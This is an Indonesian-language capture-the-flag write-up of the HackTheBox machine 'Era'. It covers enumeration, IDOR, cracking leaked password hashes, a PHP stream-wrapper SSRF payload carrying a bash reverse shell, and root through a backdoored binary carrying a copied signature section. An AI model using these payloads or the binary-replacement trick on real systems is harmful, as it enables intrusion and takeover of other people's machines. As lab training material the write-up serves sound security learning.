Skip to content
Home » HackTheBox | Era

HackTheBox | Era

Halo semuanya! Pada artikel kali ini, saya akan membahas writeup dari salah satu mesin HackTheBox yaitu ERA dengan tingkat kesulitan Medium. Mesin ini cukup menarik karena melibatkan berbagai teknik seperti subdomain enumeration, SSRF (Server-Side Request Forgery), dan privilege escalation.

Initial Reconnaissance

Seperti biasa, langkah pertama yang perlu dilakukan adalah melakukan scanning pada IP target menggunakan nmap:

└─# nmap -sCV -A -T5 10.10.11.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-29 08:10 EDT
Nmap scan report for 10.10.11.79
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 5900/tcp)
HOP RTT       ADDRESS
1   152.73 ms 10.10.14.1
2   152.85 ms 10.10.11.79

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.41 seconds

Dari hasil scanning, ditemukan beberapa port yang terbuka:

  • Port 21/tcp: FTP (vsftpd 3.0.5)
  • Port 80/tcp: HTTP (nginx 1.18.0 Ubuntu)

Yang menarik adalah pada port 80, server melakukan redirect ke http://era.htb/, sehingga kita perlu menambahkan domain ini ke file /etc/hosts.

Subdomain Enumeration

Setelah menambahkan era.htb ke hosts file, langkah selanjutnya adalah melakukan fuzzing untuk mencari subdomain menggunakan ffuf:

└─# ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://era.htb/" -H "Host: FUZZ.era.htb" -mc 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://era.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.era.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

file                    [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 51ms]

Hasil fuzzing menunjukkan adanya subdomain:

  • file.era.htb

Subdomain ini kemudian ditambahkan ke hosts file untuk investigasi lebih lanjut.

Web Application Analysis

Ketika mengakses http://file.era.htb/, ditemukan sebuah aplikasi web file sharing. Untuk mengeksplorasi lebih dalam, dilakukan directory bruteforce menggunakan

└─# feroxbuster -u http://file.era.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e 
                                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://file.era.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, js, json, txt, log]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET      234l      559w     6765c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      178c http://file.era.htb/images => http://file.era.htb/images/
200      GET        1l        6w       70c http://file.era.htb/logout.php
302      GET        0l        0w        0c http://file.era.htb/download.php => login.php
200      GET      105l      233w     3205c http://file.era.htb/register.php
200      GET      327l      740w     9214c http://file.era.htb/login.php
301      GET        7l       12w      178c http://file.era.htb/files => http://file.era.htb/files/
301      GET        7l       12w      178c http://file.era.htb/assets => http://file.era.htb/assets/
302      GET        0l        0w        0c http://file.era.htb/upload.php => login.php
301      GET        7l       12w      178c http://file.era.htb/assets/css => http://file.era.htb/assets/css/
301      GET        7l       12w      178c http://file.era.htb/assets/css/images => http://file.era.htb/assets/css/images/

Dari hasil scanning, ditemukan beberapa endpoint penting:

/download.php – Fungsi download file

/register.php – Halaman registrasi

/login.php – Halaman login

/upload.php – Fungsi upload file

User Registration & File Upload

Setelah melakukan registrasi dan login, ditemukan bahwa aplikasi memiliki fitur upload file. Setiap file yang diupload akan mendapatkan ID unik. Hal ini membuka peluang untuk melakukan IDOR (Insecure Direct Object Reference) attack.

disini ketika mencoba untuk mengupload file pada fungsi upload, akan muncul id dari file yang kita upload

IDOR Attack

Untuk mengeksploitasi kemungkinan IDOR, dibuat wordlist ID menggunakan command seq:

└─# seq 0 100 > id.txt
                                                                                                                                      
┌──(root㉿kali)-[~]
└─# ls -la id.txt                                   
-rw-r--r-- 1 root root 294 Jul 29 08:22 id.txt

Kemudian dilakukan fuzzing pada parameter ID menggunakan ffuf:

└─# ffuf -u http://file.era.htb/download.php?id=FUZZ -w id.txt -mc 200 -H "Cookie: PHPSESSID=<cookie>"      

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /root/id.txt
 :: Header           : Cookie: PHPSESSID=mlupntpajfr2vcmgupobb2o9mc
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________

20                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
5                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
24                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1023ms]
25                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1025ms]
3                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1014ms]
26                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1018ms]
11                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
0                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1031ms]
19                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
7                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1018ms]
10                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1019ms]
18                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1021ms]
15                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1033ms]
9                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1021ms]
2                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1026ms]
14                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1050ms]
23                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
30                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
4                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1050ms]
6                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1061ms]
17                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1065ms]
1                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1064ms]
21                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1070ms]
27                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
22                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1067ms]
31                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1064ms]
16                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
39                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 1068ms]
44                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 388ms]
42                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 389ms]
41                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 380ms]
45                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 388ms]
40                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 375ms]
49                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
48                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
47                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 371ms]
43                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 389ms]
46                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 376ms]
51                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
50                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 370ms]
53                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 359ms]
52                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 369ms]
55                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 368ms]
54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 365ms]
56                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
58                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
57                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
59                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 374ms]
60                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
61                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 362ms]
64                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
65                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 361ms]
63                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 367ms]
62                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 368ms]
66                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 372ms]
67                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
68                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 364ms]
70                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 366ms]
71                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 366ms]
69                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 378ms]
73                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 378ms]
72                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
74                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
75                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 379ms]
76                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 381ms]
78                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 385ms]
77                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 386ms]
79                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 385ms]
80                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 391ms]
81                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 390ms]
85                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
83                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
84                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
82                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 411ms]
86                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
87                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 414ms]
88                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 413ms]
93                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 405ms]
92                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 403ms]
89                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
90                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 416ms]
94                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 410ms]
91                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 416ms]
95                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 441ms]
33                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2374ms]
28                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
38                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2374ms]
13                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
32                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2373ms]
36                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2379ms]
37                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2376ms]
34                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2379ms]
35                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2380ms]
8                       [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2378ms]
29                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2387ms]
12                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 2384ms]
97                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 658ms]
96                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 662ms]
98                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 678ms]
99                      [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 676ms]
100                     [Status: 200, Size: 7686, Words: 3161, Lines: 267, Duration: 681ms]
:: Progress: [101/101] :: Job [1/1] :: 69 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

Hasil fuzzing menunjukkan bahwa file dengan ID 54 memiliki size yang berbeda (6378 bytes) dibandingkan file lainnya (7686 bytes), yang mencurigakan.

Database Discovery

Ketika mengunduh file dengan ID 54, ditemukan site backup yang berisi source code aplikasi, termasuk file database SQLite (filedb.sqlite).

┌──(root㉿kali)-[~/site-backup-30-08-24]
└─# ls   
bg.jpg         files                 layout_login.php  logout.php    reset.php            screen-main.png     upload.php
css            functions.global.php  layout.php        main.png      sass                 screen-manage.png   webfonts
download.php   index.php             LICENSE           manage.php    screen-download.png  screen-upload.png
filedb.sqlite  initial_layout.php    login.php         register.php  screen-login.png     security_login.php

Analisis database menggunakan sqlite3: Ditemukan beberapa hash password user:

  • admin_ef01cab31aa
  • eric
  • veronica
  • yuri
  • john
  • ethan
└─# sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files  users
sqlite> .schema users
CREATE TABLE users (
                user_id INTEGER PRIMARY KEY AUTOINCREMENT,
                user_name varchar(255) NOT NULL,
                user_password varchar(255) NOT NULL,
                auto_delete_files_after int NOT NULL
                , security_answer1 varchar(255), security_answer2 varchar(255), security_answer3 varchar(255));
sqlite> SELECT user_name, user_password FROM users;
admin_ef01cab31aa|$2y$1..............
eric|$2y$10$S9EOSDqF1RzN.............
veronica|$2y$10$xQmS7JL8UT4B............
yuri|$2b$12$HkRKUdjjOdf2Wu..............
john|$2a$10$iccCEz6.5.W2p7CSB.............
ethan|$2a$10$PkV/LAd07ftxVzBHh...........

Password Cracking

Hash password di-crack menggunakan hashcat:

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

Berhasil mendapatkan kredensial:

username eric password ame**
username yuri password mus***

kita akan menuju login.php, dan didapatkan bahwa kita bisa login dengan menggunakan credential yuri. Kita akan menuju ke reset.php dan ubah semua informasi mengenai user admin_***

Next kita akan melakukan login pada security_login.php dengan menggunakan user admin dan semua informasi yang sudah kita ubah tadi. Tapi sebelum itu….

Source Code Analysis & SSRF Discovery

Dari analisis source code download.php, ditemukan vulnerability SSRF (Server-Side Request Forgery):

<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}


if (!isset($_GET['id'])) {
	header('location: index.php'); // user loaded without requesting file by id
	die();
}

if (!is_numeric($_GET['id'])) {
	header('location: index.php'); // user requested non-numeric (invalid) file id
	die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
	echo deliverTop("Era - Download");

	echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

	echo deliverBottom();
} else {
	$fileName = str_replace("files/", "", $fetched[0]);


	// Allow immediate file download
	if ($_GET['dl'] === "true") {

		header('Content-Type: application/octet-stream');
		header("Content-Transfer-Encoding: Binary");
		header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
		readfile($fetched[0]);
	// BETA (Currently only available to the admin) - Showcase file instead of downloading it
	} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    		$format = isset($_GET['format']) ? $_GET['format'] : '';
    		$file = $fetched[0];

		if (strpos($format, '://') !== false) {
        		$wrapper = $format;
        		header('Content-Type: application/octet-stream');
    		} else {
        		$wrapper = '';
        		header('Content-Type: text/html');
    		}

    		try {
        		$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
			$full_path = $wrapper ? $wrapper . $file : $file;
			// Debug Output
			echo "Opening: " . $full_path . "\n";
        		echo $file_content;
    		} catch (Exception $e) {
        		echo "Error reading file: " . $e->getMessage();
    		}


	// Allow simple download
	} else {
		echo deliverTop("Era - Download");
		echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

	}

}


?>

Kode ini memungkinkan penggunaan PHP stream wrappers tanpa sanitasi yang proper.

} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
    $format = isset($_GET['format']) ? $_GET['format'] : '';
    $file = $fetched[0]; // Ini adalah jalur file yang diambil dari database, contoh: 'files/example.txt'

    if (strpos($format, '://') !== false) {
        $wrapper = $format;
        header('Content-Type: application/octet-stream');
    } else {
        $wrapper = '';
        header('Content-Type: text/html');
    }

    try {
        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r'); // Titik kerentanan
        $full_path = $wrapper ? $wrapper . $file : $file;
        // Debug Output
        echo "Opening: " . $full_path . "\n";
        echo $file_content;
    } catch (Exception $e) {
        echo "Error reading file: " . $e->getMessage();
    }
}

pada kode ini, memungkinkan kita melakukan SSRF attack, blok elseif yang menangani parameter $_GET['show'] === "true" dan $_SESSION['erauser'] === 1

Parameter $_GET[‘format’] diambil langsung dari input pengguna tanpa sanitasi.

strpos($format, ‘://’) !== false: kode ini memeriksa apakah $format mengandung ://. Jika ya, ia menganggap $format sebagai “wrapper” (protokol stream) yang akan digunakan oleh fungsi fopen().

Baris fopen($wrapper ? $wrapper . $file : $file, ‘r’); Jika $wrapper diisi oleh penyerang (misalnya, http://, ftp://, file://, gopher://, dll.), maka fungsi fopen() akan mencoba membuka URL atau jalur file lokal yang dikonstruksi dari $wrapper dan $file.

Mengenai PHPWrappers, disini kita bisa coba juga untuk user eric, bisa melakukan stream wrapper dengan menggunakan ssh2exec:// dengan mengelabui local 127.0.0.1 dan portnya 

SSRF Exploitation

Setelah login sebagai admin dan mengupload file dummy, SSRF dapat dieksploitasi menggunakan ssh2.exec wrapper untuk mendapatkan reverse shell:

payload : http://file.era.htb/download.php?id=4051&show=true&format=ssh2.exec://eric:america@127.0.0.1/bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<ip>%2F<port>%200%3E%261;true%27

Initial Access

Payload SSRF berhasil memberikan shell sebagai user eric:

export TERM=xterm
export SHELL=bash
export HISTFILE=/dev/null run thus
eric@era:~$ whoami
whoami
eric
eric@era:~$ 

kita berhasil login sebagai eric dan kita dapatkan user flagnya

cat user.txt 
342051e0646163b0f011694175f8382e

Privilege Escalation

Untuk privilege escalation, digunakan LinPEAS untuk enumerasi sistem:

└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.79 - - [29/Jul/2025 11:10:40] "GET /linpeas.sh HTTP/1.1" 200 -

kita host linpeasnya, lalu download pada mesin target

eric@era:~$ wget http://10.10.14.76/linpeas.sh -O linpeas.sh

wget http://10.10.14.76/linpeas.sh -O linpeas.sh
--2025-07-29 14:46:52--  http://10.10.14.76/linpeas.sh
Connecting to 10.10.14.76:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: ‘linpeas.sh’

     0K .......... .......... .......... .......... ..........  5%  422K 2s
    50K .......... .......... .......... .......... .......... 10%  884K 1s
   100K .......... .......... .......... .......... .......... 16%  989K 1s
   150K .......... .......... .......... .......... .......... 21% 1004K 1s
   200K .......... .......... .......... .......... .......... 26%  683K 1s
   250K .......... .......... .......... .......... .......... 32%  747K 1s
   300K .......... .......... .......... .......... .......... 37%  772K 1s
   350K .......... .......... .......... .......... .......... 42%  666K 1s
   400K .......... .......... .......... .......... .......... 48%  910K 1s
   450K .......... .......... .......... .......... .......... 53%  770K 1s
   500K .......... .......... .......... .......... .......... 58% 1009K 1s
   550K .......... .......... .......... .......... .......... 64%  987K 0s
   600K .......... .......... .......... .......... .......... 69%  109K 1s
   650K .......... .......... .......... .......... .......... 74% 11.1K 2s
   700K .......... .......... .......... .......... .......... 80%  133M 1s
   750K .......... .......... .......... .......... .......... 85%  159M 1s
   800K .......... .......... .......... .......... .......... 91%  154M 1s
   850K .......... .......... .......... .......... .......... 96%  152M 0s
   900K .......... .......... .......... ...                  100%  123M=5.8s

2025-07-29 14:46:58 (162 KB/s) - ‘linpeas.sh’ saved [956174/956174]

eric@era:~$ 
eric@era:~$ ls -la
ls -la
total 3996
drwxr-x--- 5 eric eric    4096 Jul 29 14:45 .
drwxr-xr-x 4 root root    4096 Jul 22 08:42 ..
lrwxrwxrwx 1 root root       9 Jul  2 09:15 .bash_history -> /dev/null
-rw-r--r-- 1 eric eric    3771 Jan  6  2022 .bashrc
drwx------ 2 eric eric    4096 Sep 17  2024 .cache
drwxrwxr-x 3 eric eric    4096 Jul 22 08:42 .local
drwx------ 2 eric eric    4096 Sep 17  2024 .ssh
-rw-rw-r-- 1 eric eric  956174 Jul 29  2025 linpeas.sh
-rwxrwxr-x 1 eric eric 3104768 Jul 29  2025 pspy64
-rw-r----- 1 root eric      33 Jul 29 14:17 user.txt

selanjutnya kita jalankan dengan command ./linpeas.sh

Dari hasil LinPEAS, ditemukan bahwa user eric adalah member dari grup devs yang memiliki write permission pada direktori /opt/AV/periodic-checks/.

eric@era:/opt/AV/periodic-checks$ ls -la
ls -la
total 792
drwxrwxr-- 2 root devs   4096 Jul 29 14:53 .
drwxrwxr-- 3 root devs   4096 Jul 22 08:42 ..
-rwxrwxr-x 1 root devs 790032 Jul 29 14:26 monitor
-rwxrwxr-x 1 eric eric    250 Jul 29  2025 reverse.elf
-rw-rw-r-- 1 eric eric    458 Jul 29 14:52 sig
-rw-rw---- 1 root devs    664 Jul 29 14:53 status.log

Binary Analysis & Exploitation

Di direktori /opt/AV/periodic-checks/, terdapat binary monitor yang berjalan secara periodik. Strategi privilege escalation:

– Membuat backdoor C Program:

cat << EOF > backdoor.c
#include <stdlib.h>
int main() {
 system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.xx.xx/1234 0>&1'");
 return 0;
}
EOF

2. Compile backdoor:

gcc -static -o monitor_backdoor backdoor.c

3. Inspect header dari file monitor dengan menggunakan readelf

readelf -S monitor

– Extract signature section dari binary asli:

objcopy --dump-section .text_sig=sig /opt/AV/periodic-checks/monitor

– Menambahkan signature ke backdoor:

objcopy --add-section .text_sig=sig monitor_backdoor

kita jalankan listener sesuai dengan port yang sudah kita set tadi pada backdoor c

└─# rlwrap nc -lvnp 1234
listening on [any] 1234 ...

jika sudah disini kita akan replace original monitor binary dengan binary monitor backdoor yang sudah berhasil kita buat tadi.

cp monitor_backdoor monitor

Root Access

Setelah menunggu scheduled task berjalan, reverse shell sebagai root berhasil diperoleh:

root@era:~# cat root.txt
cat root.txt 
42fcf05d374b028247699784f0bee72c

1 thought on “HackTheBox | Era”

Leave a Reply

Your email address will not be published. Required fields are marked *